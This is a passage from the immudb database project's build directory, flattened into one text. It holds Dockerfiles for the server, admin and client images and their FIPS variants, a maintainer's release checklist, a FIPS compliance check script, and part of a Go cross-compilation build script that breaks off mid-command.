"$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER immu ENTRYPOINT ["/usr/sbin/immudb"] ================================================ FILE: build/Dockerfile.full ================================================ FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static immuclient-static RUN mkdir /empty FROM debian:11.7-slim as bullseye-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /src/immuclient /usr/local/bin/ COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" ARG IMMU_UID="3322" ARG IMMU_GID="3322" ENV IMMUDB_HOME="/usr/share/immudb" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" RUN addgroup --system --gid $IMMU_GID immu && \ adduser --system --uid $IMMU_UID --ingroup immu immu && \ mkdir -p "$IMMUDB_HOME" && \ mkdir -p "$IMMUDB_DIR" && \ chown -R immu:immu "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod -R 755 "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin /usr/local/bin/immuclient EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER immu ENTRYPOINT ["/usr/sbin/immudb"] ================================================ FILE: build/Dockerfile.immuadmin ================================================ FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static FROM debian:11.7-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immuadmin /usr/local/bin/immuadmin ARG IMMU_UID="3322" ARG IMMU_GID="3322" ARG IMMUADMIN_TOKENFILE_PATH=/var/lib/immudb ENV IMMUADMIN_IMMUDB_ADDRESS="127.0.0.1" \ IMMUADMIN_IMMUDB_PORT="3322" \ IMMUADMIN_MTLS="false" \ IMMUADMIN_TOKENFILE="$IMMUADMIN_TOKENFILE_PATH/token_admin" RUN addgroup --system --gid $IMMU_GID immu && \ adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \ mkdir -p "$IMMUADMIN_TOKENFILE_PATH" && \ chown -R immu:immu "$IMMUADMIN_TOKENFILE_PATH" && \ chmod +x /usr/local/bin/immuadmin USER immu ENTRYPOINT ["/usr/local/bin/immuadmin"] ================================================ FILE: build/Dockerfile.immuclient ================================================ FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuclient-static FROM debian:11.7-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immuclient /app/immuclient ENV IMMUCLIENT_IMMUDB_ADDRESS="127.0.0.1" \ IMMUCLIENT_IMMUDB_PORT="3322" \ IMMUCLIENT_AUTH="true" \ IMMUCLIENT_MTLS="false" RUN chmod +x /app/immuclient ENTRYPOINT ["/app/immuclient"] ================================================ FILE: build/Dockerfile.rndpass ================================================ FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static FROM debian:11.7-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin COPY tools/rndpass/startup.sh /usr/local/bin/startup.sh ARG IMMU_UID="3322" ARG IMMU_GID="3322" ENV IMMUDB_HOME="/usr/share/immudb" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" RUN addgroup --system --gid $IMMU_GID immu && \ adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \ mkdir -p "$IMMUDB_HOME" && \ mkdir -p "$IMMUDB_DIR" && \ chown -R immu:immu "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod -R 755 "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER immu ENTRYPOINT ["/usr/local/bin/startup.sh", "/usr/sbin/immudb"] ================================================ FILE: build/RELEASING.md ================================================ # Releasing a new `immudb` version This document provides all steps required by a maintainer to release a new `immudb` version. We assume all commands are entered from the root of the `immudb` working directory. This project adheres to [Semantic Versioning][semever], in this document we will use vX.Y.V as placeholder for the version we are going to release. Before releasing, ensure that all modifications have been tested and pushed. When the release introduce a user-facing change, please ensure the documentation is updated accordingly. [semver]: https://semver.org/spec/v2.0.0.html ## About the branching model Although `immudb` aims to have a "[OneFlow][oneflow]" git branching model, [release branches][relbranches] have never been used. Thus, the instructions on the current document assume that just the `master` branch is used for the release process (with all modifications previously merged in). However the whole process can be easily adapter to a release branch if needed. During the release process, an additional `release/vX.Y.Z` is created to trigger github actions needed to prepare binaries. That branch is removed after the release is finished. [oneflow]: https://www.endoflineblog.com/oneflow-a-git-branching-model-and-workflow [relbranches]: https://www.endoflineblog.com/oneflow-a-git-branching-model-and-workflow#release-branches ## 1. Ensure the matching release of the webconsole is ready When building final binaries, a matching release of the [webconsole] will be used. Make sure that the appropriate version is released there. Also make sure that the `webconsole/dist` folder does not exist, any existing content will be used instead of the released webconsole version: ```sh make clean ``` [webconsole]: https://github.com/codenotary/immudb-webconsole/releases/latest ## 2. Create release branch and bump version (vX.Y.Z) Switch to a new branch from `master` called `release/vX.Y.Z`. Do not push yet as it triggers build process. Edit `Makefile` and modify the `VERSION` and `DEFAULT_WEBCONSOLE_VERSION` variables: ```Makefile VERSION=X.Y.Z DEFAULT_WEBCONSOLE_VERSION=A.B.C ``` > N.B. Omit the `v` prefix. Then run: ```sh make CHANGELOG.md.next-tag ``` For non-RC versions: bump the version of the helm chart, in `helm/Chart.yaml` ```yaml [...] version: a.b.c appVersion: "X.Y.Z" ``` The first line (`version`) is the version of the helm chart, the second the version of immudb. We may want to keep them aligned. For non-RC versions: bump the version in the README.md file in examples on how to download immudb binaries. ## 3. Commit and push the release branch Add the files modified above to the git index: ```sh git add Makefile git add CHANGELOG.md git add helm/Chart.yaml git commit -m "release: vX.Y.Z" ``` Then push the `release/vX.Y.Z` branch to github. ## 4. Tag the release locally ```sh git tag vX.Y.Z ``` > Do not push this tag now. ## 5. Wait for github to build release files and docker images Binaries and docker images are built automatically with github actions. ## 6. Create a draft pre-release in GitHub On GitHub, [draft a new release](https://github.com/codenotary/immudb/releases), attach all binaries built on github. Binaries will be available as a single compressed artifact from the `pushCI` action. Download it, decompress locally and upload as separate binary files. Do not assign any specific tag to this release yet. Save it as a draft. > Assets will not be available until the release is published so postpone links generation. Use the following template for release notes: ```md # Changelog # Downloads ``` In the changelog section of non-RC releases, also include changes for all prior RC versions. ## 7. Validate dist files Following binaries are validated automatically in github actions: * linux-amd64 * linux-amd64-static * linux-arm64 * windows-amd64 * darwin-amd64 The following builds have to be manually tested: * darwin-arm64 * freebsd-amd64 Those are not currently tested due to lack of github runners for them. The following manual tests should be performed: * Run immudb server, make sure it works as expected * Check the webconsole - make sure it shows correct versions on the footer after login * connect to the immudb server with immuclient and perform few get/set operations * connect to the immudb server with immuadmin and perform few operations such as creating and listing databases ## 8. Push and edit the release on github Create the master branch from the release branch and push the new master: ```sh # Push new master git checkout -B master release/vX.Y.Z git push origin master # Push the version tag git push origin vX.Y.Z ``` Then it's needed to choose the appropriate git tag on the newly created github release page. Mark this tag as a `pre-release` for now and publish the draft. > From now on, your release will be publicly visible, and github actions should start building docker images for `immudb`. Once tags are pushed, corresponding docker images will be automatically built and notarized in CI pipelines. Non-RC versions: Once everything works correctly, uncheck the `pre-release` mark. Finally remove the temporary release branch: ```sh git branch -d release/vX.Y.Z git push origin :release/vX.Y.Z ``` ## 9. Non-RC versions: Create documentation for the version Documentation is kept inside the [immudb.io repo](https://github.com/codenotary/immudb.io). Make sure that the documentation in `src/master` is up-to-date and then copy it to `src/` folder. This includes changing the version in examples in how to download and run immudb binaries (get started / quickstart section). Also make sure to update the SDK compatibility matrix (get started / sdks). Once done, add new version to the list in the [version constant in src/.vuepress/theme/util/index.js file][index.js] and adjust the right-side menu list in the [getSidebar function in src/.vuepress/enhanceApp.js file][enhanceApp.js]. Once those changes end up in master, the documentation will be compiled and deployed automatically. [index.js]: https://github.com/codenotary/immudb.io/blob/master/src/.vuepress/theme/util/index.js#L242 [enhanceApp.js]: https://github.com/codenotary/immudb.io/blob/master/src/.vuepress/enhanceApp.js#L27 ## 10. Non-RC versions: Update immudb readme on docker hub Once the release is done, make sure that the readme in docker hub are up-to-date. For immudb please edit the Readme in and synchronize it with README.md from this repository. ## 11. Non-RC versions: Post-release actions Once the release is done, following post-release actions are needed * Ensure the new [brew version](https://formulae.brew.sh/formula/immudb) is ready - should happen automatically but sometimes it may need some manual fixes in [the formula file](https://github.com/Homebrew/homebrew-core/blob/master/Formula/immudb.rb) * Ensure that playground and demo have the updated immudb (should happen automatically within 24h) * Ensure [helm chart on artifacthub](https://artifacthub.io/packages/helm/codenotary/immudb) is updated (needs manual update of our helm image) * Start release of new AWS image (manual process) * Create PR with updates to this file if there were any undocumented / unclear steps ================================================ FILE: build/e2e/Dockerfile ================================================ FROM golang:1.18 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download COPY . . RUN rm -rf /src/webconsole/dist RUN GOOS=linux GOARCH=arm64 WEBCONSOLE=default make immuadmin-static immudb-static RUN mkdir /empty FROM gcr.io/distroless/base:nonroot AS distroless LABEL org.opencontainers.image.authors="Codenotary Inc. " ARG IMMUDB_HOME="/usr/share/immudb" WORKDIR /usr/bin COPY --from=build /src/immudb . COPY --from=build /src/immuadmin . ENV IMMUDB_HOME="${IMMUDB_HOME}" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" \ USER=nonroot \ HOME="${IMMUDB_HOME}" COPY --from=build --chown=nonroot:nonroot /empty "$IMMUDB_HOME" COPY --from=build --chown=nonroot:nonroot /empty "$IMMUDB_DIR" COPY --from=build --chown=nonroot:nonroot /empty /tmp EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/bin/immuadmin", "status" ] USER nonroot ENTRYPOINT ["/usr/bin/immudb"] ================================================ FILE: build/fips/Dockerfile ================================================ # This version of Go is a Go+BoringCrypto release for FIPS 140-2 compliance FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build-fips ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN rm -rf /src/webconsole/dist RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default make immuadmin-fips immudb-fips RUN mkdir /empty ### distroless FIPS 140-2 FROM gcr.io/distroless/base:nonroot AS distroless-fips LABEL org.opencontainers.image.authors="Codenotary Inc. " ARG IMMUDB_HOME="/usr/share/immudb" WORKDIR /usr/bin COPY --from=build-fips /src/immudb . COPY --from=build-fips /src/immuadmin . ENV IMMUDB_HOME="${IMMUDB_HOME}" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" \ USER=nonroot \ HOME="${IMMUDB_HOME}" COPY --from=build-fips --chown=nonroot:nonroot /empty "$IMMUDB_HOME" COPY --from=build-fips --chown=nonroot:nonroot /empty "$IMMUDB_DIR" EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/bin/immuadmin", "status" ] USER nonroot ENTRYPOINT ["/usr/bin/immudb"] ================================================ FILE: build/fips/Dockerfile.build ================================================ FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build-fips ARG USERNAME=fipsadmin ARG USER_UID=1000 ARG USER_GID=$USER_UID # Create the user RUN groupadd --gid $USER_GID $USERNAME \ && useradd --uid $USER_UID --gid $USER_GID -m $USERNAME WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download COPY . . RUN rm -rf /src/webconsole/dist RUN chown -R $USER_UID:$USER_GID /src/ RUN chmod 755 /src USER $USERNAME ENTRYPOINT ["/bin/bash"] ================================================ FILE: build/fips/Dockerfile.immuadmin ================================================ FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-fips ### distroless FIPS 140-2 FROM gcr.io/distroless/base:nonroot AS distroless-fips LABEL org.opencontainers.image.authors="Codenotary Inc. " WORKDIR /usr/local/bin COPY --from=build /src/immuadmin /usr/local/bin/immuadmin ENV IMMUADMIN_IMMUDB_ADDRESS="127.0.0.1" \ IMMUADMIN_IMMUDB_PORT="3322" \ IMMUADMIN_MTLS="false" \ IMMUADMIN_TOKENFILE="/var/lib/immudb" USER nonroot ENTRYPOINT ["/usr/local/bin/immuadmin"] ================================================ FILE: build/fips/Dockerfile.immuclient ================================================ FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build WORKDIR /src COPY . . RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuclient-fips ### distroless FIPS 140-2 FROM gcr.io/distroless/base:nonroot AS distroless-fips LABEL org.opencontainers.image.authors="Codenotary Inc. " WORKDIR /usr/local/bin COPY --from=build /src/immuclient /usr/local/bin/immuclient ENV IMMUCLIENT_IMMUDB_ADDRESS="127.0.0.1" \ IMMUCLIENT_IMMUDB_PORT="3322" \ IMMUCLIENT_AUTH="true" \ IMMUCLIENT_MTLS="false" USER nonroot ENTRYPOINT ["/usr/local/bin/immuclient"] ================================================ FILE: build/fips/check-fips.sh ================================================ # Pass the path to the executable to check for FIPS compliance exe=$1 if [ "$(go tool nm "${exe}" | grep -c '_Cfunc__goboringcrypto_')" -eq 0 ]; then # Asserts that executable is using FIPS-compliant boringcrypto echo "${exe}: missing goboring symbols" >&2 exit 1 fi echo "${exe} is FIPS-compliant" ================================================ FILE: build/gen-downloads-md.sh ================================================ #!/bin/sh set -eu cd "$(dirname "$0")/../dist/" VERSION="$1" generate_checksums_for() { cat < # # Needed environment variables: # REPO_REMOTE - Optional VCS remote if not the primary repository is needed # REPO_BRANCH - Optional VCS branch to use, if not the master branch # DEPS - Optional list of C dependency packages to build # ARGS - Optional arguments to pass to C dependency configure scripts # PACK - Optional sub-package, if not the import path is being built # OUT - Optional output prefix to override the package name # FLAG_V - Optional verbosity flag to set on the Go builder # FLAG_X - Optional flag to print the build progress commands # FLAG_RACE - Optional race flag to set on the Go builder # FLAG_TAGS - Optional tag flag to set on the Go builder # FLAG_LDFLAGS - Optional ldflags flag to set on the Go builder # FLAG_BUILDMODE - Optional buildmode flag to set on the Go builder # TARGETS - Space separated list of build targets to compile for # GO_VERSION - Bootstrapped version of Go to disable uncupported targets # EXT_GOPATH - GOPATH elements mounted from the host filesystem # Define a function that figures out the binary extension function extension { if [ "$FLAG_BUILDMODE" == "archive" ] || [ "$FLAG_BUILDMODE" == "c-archive" ]; then if [ "$1" == "windows" ]; then echo ".lib" else echo ".a" fi elif [ "$FLAG_BUILDMODE" == "shared" ] || [ "$FLAG_BUILDMODE" == "c-shared" ]; then if [ "$1" == "windows" ]; then echo ".dll" elif [ "$1" == "darwin" ]; then echo ".dylib" else echo ".so" fi else if [ "$1" == "windows" ]; then echo ".exe" fi fi } mkdir -p /build # Detect if we are using go modules if [[ "$GO111MODULE" == "on" || "$GO111MODULE" == "auto" ]]; then USEMODULES=true else USEMODULES=false fi # Either set a local build environemnt, or pull any remote imports if [ "$EXT_GOPATH" != "" ]; then # If local builds are requested, inject the sources echo "Building locally $1..." export GOPATH=$GOPATH:$EXT_GOPATH set -e # Find and change into the package folder cd `go list -e -f {{.Dir}} $1` export GOPATH=$GOPATH:`pwd`/Godeps/_workspace elif [[ "$USEMODULES" == true ]]; then # Go module builds should assume a local repository # at mapped to /source containing at least a go.mod file. if [[ ! -d /source ]]; then echo "Go modules are enabled but go.mod was not found in the source folder." exit 10 fi # Change into the repo/source folder cd /source echo "Building /source/go.mod..." else # Inject all possible Godep paths to short circuit go gets GOPATH_ROOT=$GOPATH/src IMPORT_PATH=$1 while [ "$IMPORT_PATH" != "." ]; do export GOPATH=$GOPATH:$GOPATH_ROOT/$IMPORT_PATH/Godeps/_workspace IMPORT_PATH=`dirname $IMPORT_PATH` done # Otherwise download the canonical import path (may fail, don't allow failures beyond) echo "Fetching main repository $1..." go get -v -d $1 set -e cd $GOPATH_ROOT/$1 # Switch over the code-base to another checkout if requested if [ "$REPO_REMOTE" != "" ] || [ "$REPO_BRANCH" != "" ]; then # Detect the version control system type IMPORT_PATH=$1 while [ "$IMPORT_PATH" != "." ] && [ "$REPO_TYPE" == "" ]; do if [ -d "$GOPATH_ROOT/$IMPORT_PATH/.git" ]; then REPO_TYPE="git" elif [ -d "$GOPATH_ROOT/$IMPORT_PATH/.hg" ]; then REPO_TYPE="hg" fi IMPORT_PATH=`dirname $IMPORT_PATH` done if [ "$REPO_TYPE" == "" ]; then echo "Unknown version control system type, cannot switch remotes and branches." exit -1 fi # If we have a valid VCS, execute the switch operations if [ "$REPO_REMOTE" != "" ]; then echo "Switching over to remote $REPO_REMOTE..." if [ "$REPO_TYPE" == "git" ]; then git remote set-url origin $REPO_REMOTE git fetch --all git reset --hard origin/HEAD git clean -dxf elif [ "$REPO_TYPE" == "hg" ]; then echo -e "[paths]\ndefault = $REPO_REMOTE\n" >> .hg/hgrc hg pull fi fi if [ "$REPO_BRANCH" != "" ]; then echo "Switching over to branch $REPO_BRANCH..." if [ "$REPO_TYPE" == "git" ]; then git reset --hard origin/$REPO_BRANCH git clean -dxf elif [ "$REPO_TYPE" == "hg" ]; then hg checkout $REPO_BRANCH fi fi fi fi # Download all the C dependencies mkdir /deps DEPS=($DEPS) && for dep in "${DEPS[@]}"; do if [ "${dep##*.}" == "tar" ]; then cat "/deps-cache/`basename $dep`" | tar -C /deps -x; fi if [ "${dep##*.}" == "gz" ]; then cat "/deps-cache/`basename $dep`" | tar -C /deps -xz; fi if [ "${dep##*.}" == "bz2" ]; then cat "/deps-cache/`basename $dep`" | tar -C /deps -xj; fi done DEPS_ARGS=($ARGS) # Save the contents of the pre-build /usr/local folder for post cleanup USR_LOCAL_CONTENTS=`ls /usr/local` # Configure some global build parameters NAME=`basename $1/$PACK` # Go module-based builds error with 'cannot find main module' # when $PACK is defined PACK_RELPATH="./$PACK" if [[ "$USEMODULES" = true ]]; then NAME=`sed -n 's/module\ \(.*\)/\1/p' /source/go.mod` fi if [ "$OUT" != "" ]; then NAME=$OUT fi if [ "$FLAG_V" == "true" ]; then V=-v; fi if [ "$FLAG_X" == "true" ]; then X=-x; fi if [ "$FLAG_RACE" == "true" ]; then R=-race; fi if [ "$FLAG_TAGS" != "" ]; then T=(--tags "$FLAG_TAGS"); fi if [ "$FLAG_LDFLAGS" != "" ]; then LD="$FLAG_LDFLAGS"; fi if [ "$FLAG_BUILDMODE" != "" ] && [ "$FLAG_BUILDMODE" != "default" ]; then BM="--buildmode=$FLAG_BUILDMODE"; fi if [ "$FLAG_MOD" != "" ]; then MOD="--mod=$FLAG_MOD"; fi # If no build targets were specified, inject a catch all wildcard if [ "$TARGETS" == "" ]; then TARGETS="./." fi # Build for each requested platform individually for TARGET in $TARGETS; do # Split the target into platform and architecture XGOOS=`echo $TARGET | cut -d '/' -f 1` XGOARCH=`echo $TARGET | cut -d '/' -f 2` # Check and build for Linux targets if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "amd64" ]); then echo "Compiling for linux/amd64..." HOST=x86_64-linux PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]} if [[ "$USEMODULES" == false ]]; then GOOS=linux GOARCH=amd64 CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi GOOS=linux GOARCH=amd64 CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $R $BM -o "/build/$NAME-linux-amd64$R`extension linux`" $PACK_RELPATH fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "386" ]); then echo "Compiling for linux/386..." HOST=i686-linux PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]} if [[ "$USEMODULES" == false ]]; then GOOS=linux GOARCH=386 CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi GOOS=linux GOARCH=386 CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-386`extension linux`" $PACK_RELPATH fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "arm" ] || [ $XGOARCH == "arm-5" ]); then if [ "$GO_VERSION" -ge 150 ]; then echo "Bootstrapping linux/arm-5..." CC=arm-linux-gnueabi-gcc-6 GOOS=linux GOARCH=arm GOARM=5 CGO_ENABLED=1 CGO_CFLAGS="-march=armv5" CGO_CXXFLAGS="-march=armv5" go install std fi echo "Compiling for linux/arm-5..." CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 HOST=arm-linux-gnueabi PREFIX=/usr/arm-linux-gnueabi CFLAGS="-march=armv5" CXXFLAGS="-march=armv5" $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/arm-linux-gnueabi/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=5 CGO_ENABLED=1 CGO_CFLAGS="-march=armv5" CGO_CXXFLAGS="-march=armv5" go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=5 CGO_ENABLED=1 CGO_CFLAGS="-march=armv5" CGO_CXXFLAGS="-march=armv5" go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-arm-5`extension linux`" $PACK_RELPATH if [ "$GO_VERSION" -ge 150 ]; then echo "Cleaning up Go runtime for linux/arm-5..." rm -rf /usr/local/go/pkg/linux_arm fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "arm-6" ]); then if [ "$GO_VERSION" -lt 150 ]; then echo "Go version too low, skipping linux/arm-6..." else echo "Bootstrapping linux/arm-6..." CC=arm-linux-gnueabi-gcc-6 GOOS=linux GOARCH=arm GOARM=6 CGO_ENABLED=1 CGO_CFLAGS="-march=armv6" CGO_CXXFLAGS="-march=armv6" go install std echo "Compiling for linux/arm-6..." CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 HOST=arm-linux-gnueabi PREFIX=/usr/arm-linux-gnueabi CFLAGS="-march=armv6" CXXFLAGS="-march=armv6" $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/arm-linux-gnueabi/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=6 CGO_ENABLED=1 CGO_CFLAGS="-march=armv6" CGO_CXXFLAGS="-march=armv6" go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=6 CGO_ENABLED=1 CGO_CFLAGS="-march=armv6" CGO_CXXFLAGS="-march=armv6" go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-arm-6`extension linux`" $PACK_RELPATH echo "Cleaning up Go runtime for linux/arm-6..." rm -rf /usr/local/go/pkg/linux_arm fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "arm-7" ]); then if [ "$GO_VERSION" -lt 150 ]; then echo "Go version too low, skipping linux/arm-7..." else echo "Bootstrapping linux/arm-7..." CC=arm-linux-gnueabihf-gcc-6 GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=1 CGO_CFLAGS="-march=armv7-a" CGO_CXXFLAGS="-march=armv7-a" go install std echo "Compiling for linux/arm-7..." CC=arm-linux-gnueabihf-gcc-6 CXX=arm-linux-gnueabihf-g++-6 HOST=arm-linux-gnueabihf PREFIX=/usr/arm-linux-gnueabihf CFLAGS="-march=armv7-a -fPIC" CXXFLAGS="-march=armv7-a -fPIC" $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/arm-linux-gnueabihf/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=arm-linux-gnueabihf-gcc-6 CXX=arm-linux-gnueabihf-g++-6 GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=1 CGO_CFLAGS="-march=armv7-a -fPIC" CGO_CXXFLAGS="-march=armv7-a -fPIC" go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=arm-linux-gnueabihf-gcc-6 CXX=arm-linux-gnueabihf-g++-6 GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=1 CGO_CFLAGS="-march=armv7-a -fPIC" CGO_CXXFLAGS="-march=armv7-a -fPIC" go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-arm-7`extension linux`" $PACK_RELPATH echo "Cleaning up Go runtime for linux/arm-7..." rm -rf /usr/local/go/pkg/linux_arm fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "arm64" ]); then if [ "$GO_VERSION" -lt 150 ]; then echo "Go version too low, skipping linux/arm64..." else echo "Compiling for linux/arm64..." CC=aarch64-linux-gnu-gcc-6 CXX=aarch64-linux-gnu-g++-6 HOST=aarch64-linux-gnu PREFIX=/usr/aarch64-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/aarch64-linux-gnu/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=aarch64-linux-gnu-gcc-6 CXX=aarch64-linux-gnu-g++-6 GOOS=linux GOARCH=arm64 CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=aarch64-linux-gnu-gcc-6 CXX=aarch64-linux-gnu-g++-6 GOOS=linux GOARCH=arm64 CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM 